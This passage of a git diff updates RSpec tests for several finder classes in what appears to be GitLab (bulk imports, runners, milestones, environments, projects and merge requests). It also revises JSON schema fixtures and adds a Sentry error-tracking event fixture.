+ let_it_be(:failed_entity_2) { create(:bulk_import_entity, :failed, bulk_import: user_import_2) }
+
+ let_it_be(:not_user_import) { create(:bulk_import) }
+ let_it_be(:started_entity_3) { create(:bulk_import_entity, :started, bulk_import: not_user_import) }
+ let_it_be(:finished_entity_3) { create(:bulk_import_entity, :finished, bulk_import: not_user_import) }
+ let_it_be(:failed_entity_3) { create(:bulk_import_entity, :failed, bulk_import: not_user_import) }
+
+ subject { described_class.new(user: user) }
+
+ describe '#execute' do
+ it 'returns a list of import entities associated with user' do
+ expect(subject.execute)
+ .to contain_exactly(
+ started_entity_1, finished_entity_1, failed_entity_1,
+ started_entity_2, finished_entity_2, failed_entity_2
+ )
+ end
+
+ context 'when bulk import is specified' do
+ subject { described_class.new(user: user, bulk_import: user_import_1) }
+
+ it 'returns a list of import entities filtered by bulk import' do
+ expect(subject.execute)
+ .to contain_exactly(
+ started_entity_1, finished_entity_1, failed_entity_1
+ )
+ end
+
+ context 'when specified import is not associated with user' do
+ subject { described_class.new(user: user, bulk_import: not_user_import) }
+
+ it 'does not return entities' do
+ expect(subject.execute).to be_empty
+ end
+ end
+ end
+
+ context 'when status is specified' do
+ subject { described_class.new(user: user, status: 'failed') }
+
+ it 'returns a list of import entities filtered by status' do
+ expect(subject.execute)
+ .to contain_exactly(
+ failed_entity_1, failed_entity_2
+ )
+ end
+
+ context 'when invalid status is specified' do
+ subject { described_class.new(user: user, status: 'invalid') }
+
+ it 'does not filter entities by status' do
+ expect(subject.execute)
+ .to contain_exactly(
+ started_entity_1, finished_entity_1, failed_entity_1,
+ started_entity_2, finished_entity_2, failed_entity_2
+ )
+ end
+ end
+ end
+
+ context 'when bulk import and status are specified' do
+ subject { described_class.new(user: user, bulk_import: user_import_2, status: 'finished') }
+
+ it 'returns matched import entities' do
+ expect(subject.execute).to contain_exactly(finished_entity_2)
+ end
+ end
+ end
+end
diff --git a/spec/finders/bulk_imports/imports_finder_spec.rb b/spec/finders/bulk_imports/imports_finder_spec.rb
new file mode 100644
index 00000000000..aac83c86c84
--- /dev/null
+++ b/spec/finders/bulk_imports/imports_finder_spec.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe BulkImports::ImportsFinder do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:started_import) { create(:bulk_import, :started, user: user) }
+ let_it_be(:finished_import) { create(:bulk_import, :finished, user: user) }
+ let_it_be(:not_user_import) { create(:bulk_import) }
+
+ subject { described_class.new(user: user) }
+
+ describe '#execute' do
+ it 'returns a list of imports associated with user' do
+ expect(subject.execute).to contain_exactly(started_import, finished_import)
+ end
+
+ context 'when status is specified' do
+ subject { described_class.new(user: user, status: 'started') }
+
+ it 'returns a list of import entities filtered by status' do
+ expect(subject.execute).to contain_exactly(started_import)
+ end
+
+ context 'when invalid status is specified' do
+ subject { described_class.new(user: user, status: 'invalid') }
+
+ it 'does not filter entities by status' do
+ expect(subject.execute).to contain_exactly(started_import, finished_import)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/finders/ci/commit_statuses_finder_spec.rb b/spec/finders/ci/commit_statuses_finder_spec.rb
index 05a1a98cfe0..2e26e38f4b4 100644
--- a/spec/finders/ci/commit_statuses_finder_spec.rb
+++ b/spec/finders/ci/commit_statuses_finder_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe Ci::CommitStatusesFinder, '#execute' do
context 'tag refs' do
let_it_be(:tags) { TagsFinder.new(project.repository, {}).execute }
+
let(:subject) { described_class.new(project, project.repository, user, tags).execute }
context 'no pipelines' do
@@ -131,6 +132,7 @@ RSpec.describe Ci::CommitStatusesFinder, '#execute' do
context 'CI pipelines visible to' do
let_it_be(:tags) { TagsFinder.new(project.repository, {}).execute }
+
let(:subject) { described_class.new(project, project.repository, user, tags).execute }
before do
diff --git a/spec/finders/ci/runners_finder_spec.rb b/spec/finders/ci/runners_finder_spec.rb
index 250a85dde30..7f05947ac48 100644
--- a/spec/finders/ci/runners_finder_spec.rb
+++ b/spec/finders/ci/runners_finder_spec.rb
@@ -7,12 +7,29 @@ RSpec.describe Ci::RunnersFinder do
let_it_be(:admin) { create(:user, :admin) }
describe '#execute' do
- context 'with empty params' do
- it 'returns all runners' do
- runner1 = create :ci_runner, active: true
- runner2 = create :ci_runner, active: false
+ context 'with 2 runners' do
+ let_it_be(:runner1) { create(:ci_runner, active: true) }
+ let_it_be(:runner2) { create(:ci_runner, active: false) }
+
+ context 'with empty params' do
+ it 'returns all runners' do
+ expect(Ci::Runner).to receive(:with_tags).and_call_original
+ expect(described_class.new(current_user: admin, params: {}).execute).to match_array [runner1, runner2]
+ end
+ end
- expect(described_class.new(current_user: admin, params: {}).execute).to match_array [runner1, runner2]
+ context 'with preload param set to :tag_name true' do
+ it 'requests tags' do
+ expect(Ci::Runner).to receive(:with_tags).and_call_original
+ expect(described_class.new(current_user: admin, params: { preload: { tag_name: true } }).execute).to match_array [runner1, runner2]
+ end
+ end
+
+ context 'with preload param set to :tag_name false' do
+ it 'does not request tags' do
+ expect(Ci::Runner).not_to receive(:with_tags)
+ expect(described_class.new(current_user: admin, params: { preload: { tag_name: false } }).execute).to match_array [runner1, runner2]
+ end
end
end
diff --git a/spec/finders/container_repositories_finder_spec.rb b/spec/finders/container_repositories_finder_spec.rb
index 983f6dba28b..5d449d1b811 100644
--- a/spec/finders/container_repositories_finder_spec.rb
+++ b/spec/finders/container_repositories_finder_spec.rb
@@ -7,11 +7,14 @@ RSpec.describe ContainerRepositoriesFinder do
let_it_be(:guest) { create(:user) }
let_it_be(:group) { create(:group) }
- let_it_be(:project) { create(:project, group: group) }
+ let_it_be(:project) { create(:project, :public, group: group) }
let_it_be(:project_repository) { create(:container_repository, name: 'my_image', project: project) }
+
let(:params) { {} }
before do
+ project.project_feature.update!(container_registry_access_level: ProjectFeature::PRIVATE)
+
group.add_reporter(reporter)
project.add_reporter(reporter)
end
@@ -76,6 +79,14 @@ RSpec.describe ContainerRepositoriesFinder do
it_behaves_like 'with name search'
it_behaves_like 'with sorting'
+
+ context 'when project has container registry disabled' do
+ before do
+ project.project_feature.update!(container_registry_access_level: ProjectFeature::DISABLED)
+ end
+
+ it { is_expected.to match_array([other_repository]) }
+ end
end
context 'when subject_type is project' do
@@ -85,6 +96,14 @@ RSpec.describe ContainerRepositoriesFinder do
it_behaves_like 'with name search'
it_behaves_like 'with sorting'
+
+ context 'when project has container registry disabled' do
+ before do
+ project.project_feature.update!(container_registry_access_level: ProjectFeature::DISABLED)
+ end
+
+ it { is_expected.to be nil }
+ end
end
context 'with invalid subject_type' do
@@ -95,9 +114,19 @@ RSpec.describe ContainerRepositoriesFinder do
end
context 'with unauthorized user' do
- subject { described_class.new(user: guest, subject: group).execute }
+ subject { described_class.new(user: guest, subject: subject_type).execute }
- it { is_expected.to be nil }
+ context 'when subject_type is group' do
+ let(:subject_type) { group }
+
+ it { is_expected.to be nil }
+ end
+
+ context 'when subject_type is project' do
+ let(:subject_type) { project }
+
+ it { is_expected.to be nil }
+ end
end
end
end
diff --git a/spec/finders/deployments_finder_spec.rb b/spec/finders/deployments_finder_spec.rb
index bd03b254f40..6d9d0c33de3 100644
--- a/spec/finders/deployments_finder_spec.rb
+++ b/spec/finders/deployments_finder_spec.rb
@@ -68,6 +68,7 @@ RSpec.describe DeploymentsFinder do
context 'at project scope' do
let_it_be(:project) { create(:project, :public, :test_repo) }
+
let(:base_params) { { project: project } }
describe 'filtering' do
@@ -76,6 +77,7 @@ RSpec.describe DeploymentsFinder do
let_it_be(:deployment_2) { create(:deployment, :success, project: project, updated_at: 47.hours.ago) }
let_it_be(:deployment_3) { create(:deployment, :success, project: project, updated_at: 4.days.ago) }
let_it_be(:deployment_4) { create(:deployment, :success, project: project, updated_at: 1.hour.ago) }
+
let(:params) { { **base_params, updated_before: 1.day.ago, updated_after: 3.days.ago, order_by: :updated_at } }
it 'returns deployments with matched updated_at' do
@@ -268,6 +270,7 @@ RSpec.describe DeploymentsFinder do
let_it_be(:group_project_1) { create(:project, :public, :test_repo, group: group) }
let_it_be(:group_project_2) { create(:project, :public, :test_repo, group: group) }
let_it_be(:subgroup_project_1) { create(:project, :public, :test_repo, group: subgroup) }
+
let(:base_params) { { group: group } }
describe 'ordering' do
diff --git a/spec/finders/environments/environments_finder_spec.rb b/spec/finders/environments/environments_finder_spec.rb
index 68c0c524478..71d10ceb5d3 100644
--- a/spec/finders/environments/environments_finder_spec.rb
+++ b/spec/finders/environments/environments_finder_spec.rb
@@ -3,9 +3,11 @@
require 'spec_helper'
RSpec.describe Environments::EnvironmentsFinder do
- let(:project) { create(:project, :repository) }
- let(:user) { project.creator }
- let(:environment) { create(:environment, :available, project: project) }
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { project.creator }
+ let_it_be(:environment) { create(:environment, :available, project: project) }
+ let_it_be(:environment_stopped) { create(:environment, :stopped, name: 'test2', project: project) }
+ let_it_be(:environment_available) { create(:environment, :available, name: 'test3', project: project) }
before do
project.add_maintainer(user)
@@ -13,18 +15,18 @@ RSpec.describe Environments::EnvironmentsFinder do
describe '#execute' do
context 'with states parameter' do
- let(:stopped_environment) { create(:environment, :stopped, project: project) }
+ let_it_be(:stopped_environment) { create(:environment, :stopped, project: project) }
it 'returns environments with the requested state' do
result = described_class.new(project, user, states: 'available').execute
- expect(result).to contain_exactly(environment)
+ expect(result).to contain_exactly(environment, environment_available)
end
it 'returns environments with any of the requested states' do
result = described_class.new(project, user, states: %w(available stopped)).execute
- expect(result).to contain_exactly(environment, stopped_environment)
+ expect(result).to contain_exactly(environment, environment_stopped, environment_available, stopped_environment)
end
it 'raises exception when requested state is invalid' do
@@ -37,25 +39,30 @@ RSpec.describe Environments::EnvironmentsFinder do
it 'returns environments with the requested state' do
result = described_class.new(project, user, states: :available).execute
- expect(result).to contain_exactly(environment)
+ expect(result).to contain_exactly(environment, environment_available)
end
it 'returns environments with any of the requested states' do
result = described_class.new(project, user, states: [:available, :stopped]).execute
- expect(result).to contain_exactly(environment, stopped_environment)
+ expect(result).to contain_exactly(environment, environment_stopped, environment_available, stopped_environment)
end
end
end
context 'with search and states' do
- let(:environment2) { create(:environment, :stopped, name: 'test2', project: project) }
- let(:environment3) { create(:environment, :available, name: 'test3', project: project) }
-
it 'searches environments by name and state' do
result = described_class.new(project, user, search: 'test', states: :available).execute
- expect(result).to contain_exactly(environment3)
+ expect(result).to contain_exactly(environment_available)
+ end
+ end
+
+ context 'with id' do
+ it 'searches environments by name and state' do
+ result = described_class.new(project, user, search: 'test', environment_ids: [environment_available.id]).execute
+
+ expect(result).to contain_exactly(environment_available)
end
end
end
diff --git a/spec/finders/events_finder_spec.rb b/spec/finders/events_finder_spec.rb
index fe2e449f03d..5ecd38cd9cc 100644
--- a/spec/finders/events_finder_spec.rb
+++ b/spec/finders/events_finder_spec.rb
@@ -22,6 +22,7 @@ RSpec.describe EventsFinder do
let!(:other_developer_event) { create(:event, :created, project: project1, author: other_user, target: opened_merge_request3 ) }
let_it_be(:public_project) { create(:project, :public, creator_id: user.id, namespace: user.namespace) }
+
let(:confidential_issue) { create(:closed_issue, confidential: true, project: public_project, author: user) }
let!(:confidential_event) { create(:event, :closed, project: public_project, author: user, target: confidential_issue) }
diff --git a/spec/finders/group_descendants_finder_spec.rb b/spec/finders/group_descendants_finder_spec.rb
index 3c3bb13a629..01c6eb05907 100644
--- a/spec/finders/group_descendants_finder_spec.rb
+++ b/spec/finders/group_descendants_finder_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe GroupDescendantsFinder do
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group) }
+
let(:params) { {} }
subject(:finder) do
diff --git a/spec/finders/groups_finder_spec.rb b/spec/finders/groups_finder_spec.rb
index d69720ae98e..481e2983dd7 100644
--- a/spec/finders/groups_finder_spec.rb
+++ b/spec/finders/groups_finder_spec.rb
@@ -180,6 +180,7 @@ RSpec.describe GroupsFinder do
let_it_be(:internal_sub_subgroup) { create(:group, :internal, parent: public_subgroup) }
let_it_be(:private_sub_subgroup) { create(:group, :private, parent: public_subgroup) }
let_it_be(:public_sub_subgroup) { create(:group, :public, parent: public_subgroup) }
+
let(:params) { { include_parent_descendants: true, parent: parent_group } }
context 'with nil parent' do
diff --git a/spec/finders/merge_requests_finder_spec.rb b/spec/finders/merge_requests_finder_spec.rb
index 3b835d366db..c2ea918449c 100644
--- a/spec/finders/merge_requests_finder_spec.rb
+++ b/spec/finders/merge_requests_finder_spec.rb
@@ -520,6 +520,44 @@ RSpec.describe MergeRequestsFinder do
end
end
+ context 'filtering by approved by' do
+ let(:params) { { approved_by_usernames: user2.username } }
+
+ before do
+ create(:approval, merge_request: merge_request3, user: user2)
+ end
+
+ it 'returns merge requests approved by that user' do
+ merge_requests = described_class.new(user, params).execute
+
+ expect(merge_requests).to contain_exactly(merge_request3)
+ end
+
+ context 'not filter' do
+ let(:params) { { not: { approved_by_usernames: user2.username } } }
+
+ it 'returns merge requests not approved by that user' do
+ merge_requests = described_class.new(user, params).execute
+
+ expect(merge_requests).to contain_exactly(merge_request1, merge_request2, merge_request4, merge_request5)
+ end
+ end
+
+ context 'when filtering by author and not approved by' do
+ let(:params) { { not: { approved_by_usernames: user2.username }, author_username: user.username } }
+
+ before do
+ merge_request4.update!(author: user2)
+ end
+
+ it 'returns merge requests authored by user and not approved by user2' do
+ merge_requests = described_class.new(user, params).execute
+
+ expect(merge_requests).to contain_exactly(merge_request1, merge_request2, merge_request5)
+ end
+ end
+ end
+
context 'filtering by created_at/updated_at' do
let(:new_project) { create(:project, forked_from_project: project1) }
diff --git a/spec/finders/milestones_finder_spec.rb b/spec/finders/milestones_finder_spec.rb
index 6e486671132..8b26599cbfa 100644
--- a/spec/finders/milestones_finder_spec.rb
+++ b/spec/finders/milestones_finder_spec.rb
@@ -3,46 +3,68 @@
require 'spec_helper'
RSpec.describe MilestonesFinder do
- let(:now) { Time.now }
- let(:group) { create(:group) }
- let(:project_1) { create(:project, namespace: group) }
- let(:project_2) { create(:project, namespace: group) }
- let!(:milestone_1) { create(:milestone, group: group, title: 'one test', start_date: now - 1.day, due_date: now) }
- let!(:milestone_2) { create(:milestone, group: group, start_date: now + 1.day, due_date: now + 2.days) }
- let!(:milestone_3) { create(:milestone, project: project_1, state: 'active', start_date: now + 2.days, due_date: now + 3.days) }
- let!(:milestone_4) { create(:milestone, project: project_2, state: 'active', start_date: now + 4.days, due_date: now + 5.days) }
-
- it 'returns milestones for projects' do
- result = described_class.new(project_ids: [project_1.id, project_2.id], state: 'all').execute
-
- expect(result).to contain_exactly(milestone_3, milestone_4)
- end
+ let_it_be(:now) { Date.current }
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project_1) { create(:project, namespace: group) }
+ let_it_be(:project_2) { create(:project, namespace: group) }
+ let_it_be(:milestone_2) { create(:milestone, group: group, start_date: now + 1.day, due_date: now + 2.days) }
+ let_it_be(:milestone_4) { create(:milestone, project: project_2, state: 'active', start_date: now + 4.days, due_date: now + 5.days) }
+
+ context 'without filters' do
+ let_it_be(:milestone_1) { create(:milestone, group: group, start_date: now - 1.day, due_date: now) }
+ let_it_be(:milestone_3) { create(:milestone, project: project_1, state: 'active', start_date: now + 2.days) }
+ let_it_be(:milestone_5) { create(:milestone, group: group, due_date: now - 2.days) }
+
+ it 'returns milestones for projects' do
+ result = described_class.new(project_ids: [project_1.id, project_2.id], state: 'all').execute
+
+ expect(result).to contain_exactly(milestone_3, milestone_4)
+ end
- it 'returns milestones for groups' do
- result = described_class.new(group_ids: group.id, state: 'all').execute
+ it 'returns milestones for groups' do
+ result = described_class.new(group_ids: group.id, state: 'all').execute
- expect(result).to contain_exactly(milestone_1, milestone_2)
- end
-
- context 'milestones for groups and project' do
- let(:result) do
- described_class.new(project_ids: [project_1.id, project_2.id], group_ids: group.id, state: 'all').execute
+ expect(result).to contain_exactly(milestone_5, milestone_1, milestone_2)
end
- it 'returns milestones for groups and projects' do
- expect(result).to contain_exactly(milestone_1, milestone_2, milestone_3, milestone_4)
+ context 'milestones for groups and project' do
+ let(:extra_params) {{}}
+ let(:result) do
+ described_class.new({ project_ids: [project_1.id, project_2.id], group_ids: group.id, state: 'all' }.merge(extra_params)).execute
+ end
+
+ it 'returns milestones for groups and projects' do
+ expect(result).to contain_exactly(milestone_5, milestone_1, milestone_2, milestone_3, milestone_4)
+ end
+
+ it 'orders milestones by due date', :aggregate_failures do
+ expect(result.first).to eq(milestone_5)
+ expect(result.second).to eq(milestone_1)
+ expect(result.third).to eq(milestone_2)
+ end
+
+ context 'when grouping and sorting by expired_last' do
+ let(:extra_params) { { sort: :expired_last_due_date_asc } }
+
+ it 'current milestones are returned first, then milestones without due date followed by expired milestones, sorted by due date in ascending order' do
+ expect(result).to eq([milestone_1, milestone_2, milestone_4, milestone_3, milestone_5])
+ end
+ end
end
- it 'orders milestones by due date' do
- milestone = create(:milestone, group: group, due_date: now - 2.days)
+ describe '#find_by' do
+ it 'finds a single milestone' do
+ finder = described_class.new(project_ids: [project_1.id], state: 'all')
- expect(result.first).to eq(milestone)
- expect(result.second).to eq(milestone_1)
- expect(result.third).to eq(milestone_2)
+ expect(finder.find_by(iid: milestone_3.iid)).to eq(milestone_3)
+ end
end
end
context 'with filters' do
+ let_it_be(:milestone_1) { create(:milestone, group: group, state: 'closed', title: 'one test', start_date: now - 1.day, due_date: now) }
+ let_it_be(:milestone_3) { create(:milestone, project: project_1, state: 'closed', start_date: now + 2.days, due_date: now + 3.days) }
+
let(:params) do
{
project_ids: [project_1.id, project_2.id],
@@ -51,11 +73,6 @@ RSpec.describe MilestonesFinder do
}
end
- before do
- milestone_1.close
- milestone_3.close
- end
-
it 'filters by id' do
params[:ids] = [milestone_1.id, milestone_2.id]
@@ -118,12 +135,4 @@ RSpec.describe MilestonesFinder do
end
end
end
-
- describe '#find_by' do
- it 'finds a single milestone' do
- finder = described_class.new(project_ids: [project_1.id], state: 'all')
-
- expect(finder.find_by(iid: milestone_3.iid)).to eq(milestone_3)
- end
- end
end
diff --git a/spec/finders/packages/conan/package_file_finder_spec.rb b/spec/finders/packages/conan/package_file_finder_spec.rb
index d0c9efa1418..c2f445c58f7 100644
--- a/spec/finders/packages/conan/package_file_finder_spec.rb
+++ b/spec/finders/packages/conan/package_file_finder_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe ::Packages::Conan::PackageFileFinder do
let_it_be(:package) { create(:conan_package) }
let_it_be(:package_file) { package.package_files.first }
+
let(:package_file_name) { package_file.file_name }
let(:params) { {} }
diff --git a/spec/finders/packages/go/module_finder_spec.rb b/spec/finders/packages/go/module_finder_spec.rb
index e5c8827fc8d..a93fd855529 100644
--- a/spec/finders/packages/go/module_finder_spec.rb
+++ b/spec/finders/packages/go/module_finder_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe Packages::Go::ModuleFinder do
let_it_be(:project) { create :project }
let_it_be(:other_project) { create :project }
+
let(:finder) { described_class.new project, module_name }
shared_examples 'an invalid path' do
diff --git a/spec/finders/packages/group_packages_finder_spec.rb b/spec/finders/packages/group_packages_finder_spec.rb
index 29b2f0fffd7..d7f62bdfbb4 100644
--- a/spec/finders/packages/group_packages_finder_spec.rb
+++ b/spec/finders/packages/group_packages_finder_spec.rb
@@ -129,6 +129,7 @@ RSpec.describe Packages::GroupPackagesFinder do
context 'with package_name' do
let_it_be(:named_package) { create(:maven_package, project: project, name: 'maven') }
+
let(:params) { { package_name: package_name } }
context 'as complete name' do
diff --git a/spec/finders/packages/nuget/package_finder_spec.rb b/spec/finders/packages/nuget/package_finder_spec.rb
index 59cca2d06dc..4ad02ce7da8 100644
--- a/spec/finders/packages/nuget/package_finder_spec.rb
+++ b/spec/finders/packages/nuget/package_finder_spec.rb
@@ -11,6 +11,7 @@ RSpec.describe Packages::Nuget::PackageFinder do
let_it_be(:package3) { create(:nuget_package, name: 'Another.Dummy.Package', project: project) }
let_it_be(:other_package_1) { create(:nuget_package, name: package1.name, version: package1.version) }
let_it_be(:other_package_2) { create(:nuget_package, name: package1.name, version: package2.version) }
+
let(:package_name) { package1.name }
let(:package_version) { nil }
let(:limit) { 50 }
@@ -57,6 +58,7 @@ RSpec.describe Packages::Nuget::PackageFinder do
let_it_be(:package4) { create(:nuget_package, name: package1.name, project: project) }
let_it_be(:package5) { create(:nuget_package, name: package1.name, project: project) }
let_it_be(:package6) { create(:nuget_package, name: package1.name, project: project) }
+
let(:limit) { 2 }
it { is_expected.to match_array([package5, package6]) }
diff --git a/spec/finders/packages/package_file_finder_spec.rb b/spec/finders/packages/package_file_finder_spec.rb
index ab58f75fcae..8014f04d917 100644
--- a/spec/finders/packages/package_file_finder_spec.rb
+++ b/spec/finders/packages/package_file_finder_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Packages::PackageFileFinder do
let_it_be(:package) { create(:maven_package) }
let_it_be(:package_file) { package.package_files.first }
+
let(:package_file_name) { package_file.file_name }
let(:params) { {} }
diff --git a/spec/finders/packages/package_finder_spec.rb b/spec/finders/packages/package_finder_spec.rb
index 2bb4f05a41d..1b0c88a4771 100644
--- a/spec/finders/packages/package_finder_spec.rb
+++ b/spec/finders/packages/package_finder_spec.rb
@@ -25,6 +25,7 @@ RSpec.describe ::Packages::PackageFinder do
context 'processing packages' do
let_it_be(:nuget_package) { create(:nuget_package, :processing, project: project) }
+
let(:package_id) { nuget_package.id }
it 'are not returned' do
diff --git a/spec/finders/projects_finder_spec.rb b/spec/finders/projects_finder_spec.rb
index b8b5e2c3bb7..21b5b2f6130 100644
--- a/spec/finders/projects_finder_spec.rb
+++ b/spec/finders/projects_finder_spec.rb
@@ -31,10 +31,6 @@ RSpec.describe ProjectsFinder do
let(:use_cte) { true }
let(:finder) { described_class.new(params: params.merge(use_cte: use_cte), current_user: current_user, project_ids_relation: project_ids_relation) }
- before do
- stub_feature_flags(project_finder_similarity_sort: false)
- end
-
subject { finder.execute }
shared_examples 'ProjectFinder#execute examples' do
@@ -368,32 +364,28 @@ RSpec.describe ProjectsFinder do
end
describe 'sorting' do
+ let_it_be(:more_projects) do
+ [
+ create(:project, :internal, group: group, name: 'projA', path: 'projA'),
+ create(:project, :internal, group: group, name: 'projABC', path: 'projABC'),
+ create(:project, :internal, group: group, name: 'projAB', path: 'projAB')
+ ]
+ end
+
context 'when sorting by a field' do
let(:params) { { sort: 'name_asc' } }
- it { is_expected.to eq([internal_project, public_project]) }
+ it { is_expected.to eq(([internal_project, public_project] + more_projects).sort_by { |p| p[:name] }) }
end
context 'when sorting by similarity' do
let(:params) { { sort: 'similarity', search: 'pro' } }
- let_it_be(:internal_project2) do
- create(:project, :internal, group: group, name: 'projA', path: 'projA')
- end
-
- let_it_be(:internal_project3) do
- create(:project, :internal, group: group, name: 'projABC', path: 'projABC')
- end
-
- let_it_be(:internal_project4) do
- create(:project, :internal, group: group, name: 'projAB', path: 'projAB')
- end
-
- before do
- stub_feature_flags(project_finder_similarity_sort: current_user)
- end
+ it { is_expected.to eq([more_projects[0], more_projects[2], more_projects[1]]) }
+ end
- it { is_expected.to eq([internal_project2, internal_project4, internal_project3]) }
+ context 'when no sort is provided' do
+ it { is_expected.to eq(([internal_project, public_project] + more_projects).sort_by { |p| p[:id] }.reverse) }
end
end
diff --git a/spec/finders/template_finder_spec.rb b/spec/finders/template_finder_spec.rb
index b7339288c51..97eecf8a89d 100644
--- a/spec/finders/template_finder_spec.rb
+++ b/spec/finders/template_finder_spec.rb
@@ -123,6 +123,7 @@ RSpec.describe TemplateFinder do
describe '#execute' do
let_it_be(:project) { nil }
+
let(:params) { {} }
subject(:result) { described_class.new(type, project, params).execute }
@@ -149,6 +150,7 @@ RSpec.describe TemplateFinder do
describe '#template_names' do
let_it_be(:project) { nil }
+
let(:params) { {} }
subject(:result) { described_class.new(type, project, params).template_names.values.flatten.map { |el| OpenStruct.new(el) } }
diff --git a/spec/finders/todos_finder_spec.rb b/spec/finders/todos_finder_spec.rb
index 577ad80ede1..5611a67e977 100644
--- a/spec/finders/todos_finder_spec.rb
+++ b/spec/finders/todos_finder_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe TodosFinder do
let_it_be(:project) { create(:project, :repository, namespace: group) }
let_it_be(:issue) { create(:issue, project: project) }
let_it_be(:merge_request) { create(:merge_request, source_project: project) }
+
let(:finder) { described_class }
before_all do
@@ -153,6 +154,7 @@ RSpec.describe TodosFinder do
context 'by groups' do
context 'with subgroups' do
let_it_be(:subgroup) { create(:group, parent: group) }
+
let!(:todo3) { create(:todo, user: user, group: subgroup, target: issue) }
it 'returns todos from subgroups when filtered by a group' do
diff --git a/spec/finders/user_recent_events_finder_spec.rb b/spec/finders/user_recent_events_finder_spec.rb
index 5a9243d150d..74c563b9bf6 100644
--- a/spec/finders/user_recent_events_finder_spec.rb
+++ b/spec/finders/user_recent_events_finder_spec.rb
@@ -12,6 +12,7 @@ RSpec.describe UserRecentEventsFinder do
let!(:internal_event) { create(:event, project: internal_project, author: project_owner) }
let!(:public_event) { create(:event, project: public_project, author: project_owner) }
let_it_be(:issue) { create(:issue, project: public_project) }
+
let(:limit) { nil }
let(:params) { { limit: limit } }
@@ -43,6 +44,7 @@ RSpec.describe UserRecentEventsFinder do
context 'events from multiple users' do
let_it_be(:second_user, reload: true) { create(:user) }
let_it_be(:private_project_second_user) { create(:project, :private, creator: second_user) }
+
let(:internal_project_second_user) { create(:project, :internal, creator: second_user) }
let(:public_project_second_user) { create(:project, :public, creator: second_user) }
let!(:private_event_second_user) { create(:event, project: private_project_second_user, author: second_user) }
diff --git a/spec/fixtures/api/schemas/cluster_status.json b/spec/fixtures/api/schemas/cluster_status.json
index ce62655648b..6f9535286ed 100644
--- a/spec/fixtures/api/schemas/cluster_status.json
+++ b/spec/fixtures/api/schemas/cluster_status.json
@@ -37,8 +37,6 @@
"hostname": { "type": ["string", "null"] },
"email": { "type": ["string", "null"] },
"stack": { "type": ["string", "null"] },
- "modsecurity_enabled": { "type": ["boolean", "null"] },
- "modsecurity_mode": {"type": ["integer", "0"]},
"host": {"type": ["string", "null"]},
"port": {"type": ["integer", "514"]},
"protocol": {"type": ["integer", "0"]},
diff --git a/spec/fixtures/api/schemas/entities/admin_users_data_attributes_paths.json b/spec/fixtures/api/schemas/entities/admin_users_data_attributes_paths.json
index eab8b626876..44d8e48a972 100644
--- a/spec/fixtures/api/schemas/entities/admin_users_data_attributes_paths.json
+++ b/spec/fixtures/api/schemas/entities/admin_users_data_attributes_paths.json
@@ -11,7 +11,9 @@
"unlock": { "type": "string" },
"delete": { "type": "string" },
"delete_with_contributions": { "type": "string" },
- "admin_user": { "type": "string" }
+ "admin_user": { "type": "string" },
+ "ban": { "type": "string" },
+ "unban": { "type": "string" }
},
"required": [
"edit",
@@ -24,7 +26,9 @@
"unlock",
"delete",
"delete_with_contributions",
- "admin_user"
+ "admin_user",
+ "ban",
+ "unban"
],
"additionalProperties": false
}
diff --git a/spec/fixtures/error_tracking/event.txt b/spec/fixtures/error_tracking/event.txt
new file mode 100644
index 00000000000..e87eb885e10
--- /dev/null
+++ b/spec/fixtures/error_tracking/event.txt
@@ -0,0 +1,3 @@
+{"event_id":"7c9ae6e58f03442b9203bbdcf6ae904c","dsn":"http://1fedb514e17f4b958435093deb03048c@localhost:3000/api/v4/projects/7/error_tracking/collector/7","sdk":{"name":"sentry.ruby","version":"4.5.1"},"sent_at":"2021-07-08T12:59:16Z"}
+{"type":"event","content_type":"application/json"}
+{"event_id":"7c9ae6e58f03442b9203bbdcf6ae904c","level":"error","timestamp":"2021-07-08T12:59:16Z","release":"db853d7","environment":"development","server_name":"MacBook.local","modules":{"rake":"13.0.3","concurrent-ruby":"1.1.9","i18n":"1.8.10","minitest":"5.14.4","thread_safe":"0.3.6","tzinfo":"1.2.9","uglifier":"4.2.0","web-console":"3.7.0"},"message":"","user":{},"tags":{"request_id":"4253dcd9-5e48-474a-89b4-0e945ab825af"},"contexts":{"os":{"name":"Darwin","version":"Darwin Kernel Version 20.5.0: Sat May 8 05:10:33 PDT 2021; root:xnu-7195.121.3~9/RELEASE_X86_64","build":"20.5.0","kernel_version":"Darwin Kernel Version 20.5.0: Sat May 8 05:10:33 PDT 2021; root:xnu-7195.121.3~9/RELEASE_X86_64"},"runtime":{"name":"ruby","version":"ruby 2.5.1p57 (2018-03-29 revision 63029) [x86_64-darwin19]"},"trace":{"trace_id":"d82b93fbc39e4d13b85762afa2e3ff36","span_id":"4a3ed8701e7f4ea4","parent_span_id":null,"description":null,"op":"rails.request","status":null}},"extra":{},"fingerprint":[],"breadcrumbs":{"values":[{"category":"start_processing.action_controller","data":{"controller":"PostsController","action":"error2","params":{"controller":"posts","action":"error2"},"format":"html","method":"GET","path":"/posts/error2","start_timestamp":1625749156.5553},"level":null,"message":"","timestamp":1625749156,"type":null},{"category":"process_action.action_controller","data":{"controller":"PostsController","action":"error2","params":{"controller":"posts","action":"error2"},"format":"html","method":"GET","path":"/posts/error2","start_timestamp":1625749156.55539,"view_runtime":null,"db_runtime":0},"level":null,"message":"","timestamp":1625749156,"type":null}]},"transaction":"PostsController#error2","platform":"ruby","sdk":{"name":"sentry.ruby.rails","version":"4.5.1"},"request":{"url":"http://localhost/posts/error2","method":"GET","headers":{},"env":{"SERVER_NAME":"localhost","SERVER_PORT":"4444"}},"exception":{"values":[{"type":"ActionView::MissingTemplate","value":"Missing template posts/error2, application/error2 with {:locale=>[:en], :formats=>[:html], :variants=>[], :handlers=>[:raw, :erb, :html, :builder, :ruby, :coffee, :jbuilder]}. Searched in:\n * 